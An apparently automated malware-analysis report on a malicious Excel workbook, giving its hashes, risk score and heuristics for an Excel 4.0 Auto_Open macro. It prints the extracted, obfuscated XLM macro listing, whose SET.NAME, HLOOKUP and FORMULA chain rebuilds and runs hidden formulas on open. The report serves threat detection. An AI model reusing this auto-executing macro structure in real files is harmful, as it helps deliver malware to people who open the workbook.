Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3e634824bfa23da4…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:35 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: fd43d65b2340c2d5b5dcc7f3038576e3 SHA-1: 922701ad897164b5748c96036743c4393bf05659 SHA-256: 3e634824bfa23da4c3d1d89fa1229e041920aae24ac6b021e30a48f67f7b7255
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6675 bytes
SHA-256: 69d5c617761a0e4aeb608bb199c339aaafaffc962771712f6f1a546973da464a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  aFuHcjpkU
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A178 
' 0018     24 LABEL : Cell Value, String Constant - ctGtKxczF len=0 
' 0018     27 LABEL : Cell Value, String Constant - dCXXtxizncDV len=0 
' 0018     21 LABEL : Cell Value, String Constant - HGjUre len=0 
' 0018     24 LABEL : Cell Value, String Constant - HopDahAea len=0 
' 0018     20 LABEL : Cell Value, String Constant - iUphz len=0 
' 0018     24 LABEL : Cell Value, String Constant - jQwskaBRZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - kLwOtndXghJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - lpeBfOzAOd len=0 
' 0018     25 LABEL : Cell Value, String Constant - MhDhvNfaKT len=0 
' 0018     25 LABEL : Cell Value, String Constant - MNyXPJbVWj len=0 
' 0018     20 LABEL : Cell Value, String Constant - MyVQv len=0 
' 0018     25 LABEL : Cell Value, String Constant - mzjNdcUJan len=0 
' 0018     23 LABEL : Cell Value, String Constant - OmLxjpLJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - QoBRA len=0 
' 0018     26 LABEL : Cell Value, String Constant - RpzJYjFdUjN len=0 
' 0018     22 LABEL : Cell Value, String Constant - SkDxOLY len=0 
' 0018     20 LABEL : Cell Value, String Constant - SUHLO len=0 
' 0018     21 LABEL : Cell Value, String Constant - Topgxx len=0 
' 0018     22 LABEL : Cell Value, String Constant - WdTalJM len=0 
' 0018     20 LABEL : Cell Value, String Constant - XoVXb len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  aFuHcjpkU,A90,"SET.NAME("MhDhvNfaKT",VALUE("0"))",""
'  aFuHcjpkU,A95,"SET.NAME("RpzJYjFdUjN",MhDhvNfaKT)",""
'  aFuHcjpkU,A99,"SET.NAME("jQwskaBRZ",MhDhvNfaKT)",""
'  aFuHcjpkU,A103,"SET.NAME("kLwOtndXghJ",COUNTA(QoBRA))",""
'  aFuHcjpkU,A105,"SET.NAME("SUHLO",COUNTA(MyVQv))",""
'  aFuHcjpkU,A110,[],""
'  aFuHcjpkU,A112,"SET.NAME("lpeBfOzAOd","")",""
'  aFuHcjpkU,A114,"RpzJYjFdUjN",""
'  aFuHcjpkU,A117,"SET.NAME("SkDxOLY",HLOOKUP("*",QoBRA,RpzJYjFdUjN,FALSE))",""
'  aFuHcjpkU,A121,"MNyXPJbVWj",""
'  aFuHcjpkU,A124,"SET.NAME("HGjUre",MhDhvNfaKT)",""
'  aFuHcjpkU,A127,[],""
'  aFuHcjpkU,A132,"HGjUre",""
'  aFuHcjpkU,A134,"WdTalJM",""
'  aFuHcjpkU,A136,"Topgxx",""
'  aFuHcjpkU,A138,"OmLxjpLJ",""
'  aFuHcjpkU,A143,"SET.NAME("XoVXb",VALUE(HLOOKUP("*",MyVQv,OmLxjpLJ,FALSE)))",""
'  aFuHcjpkU,A145,"mzjNdcUJan",""
'  aFuHcjpkU,A150,"lpeBfOzAOd",""
'  aFuHcjpkU,A152,"jQwskaBRZ",""
'  aFuHcjpkU,A156,NEXT(),""
'  aFuHcjpkU,A159,"iUphz",""
'  aFuHcjpkU,A162,"SET.NAME("f",INT(T(FORMULA(T(lpeBfOzAOd)&"",""&T(iUphz)))))",""
'  aFuHcjpkU,A166,"dCXXtxizncDV",""
'  aFuHcjpkU,A169,NEXT(),""
'  aFuHcjpkU,A174,RETURN(),""
'  aFuHcjpkU,A210,"SET.NAME("HopDahAea",A90)",""
'  aFuHcjpkU,A215,"QoBRA",""
'  aFuHcjpkU,A218,"SET.NAME("MyVQv",R43C11)",""
'  aFuHcjpkU,A220,"SET.NAME("dCXXtxizncDV",226)",""
'  aFuHcjpkU,A222,"SET.NAME("ctGtKxczF",1)",""
'  aFuHcjpkU,A225,HopDahAea(),""
'  aFuHcjpkU,A226,HALT(),""

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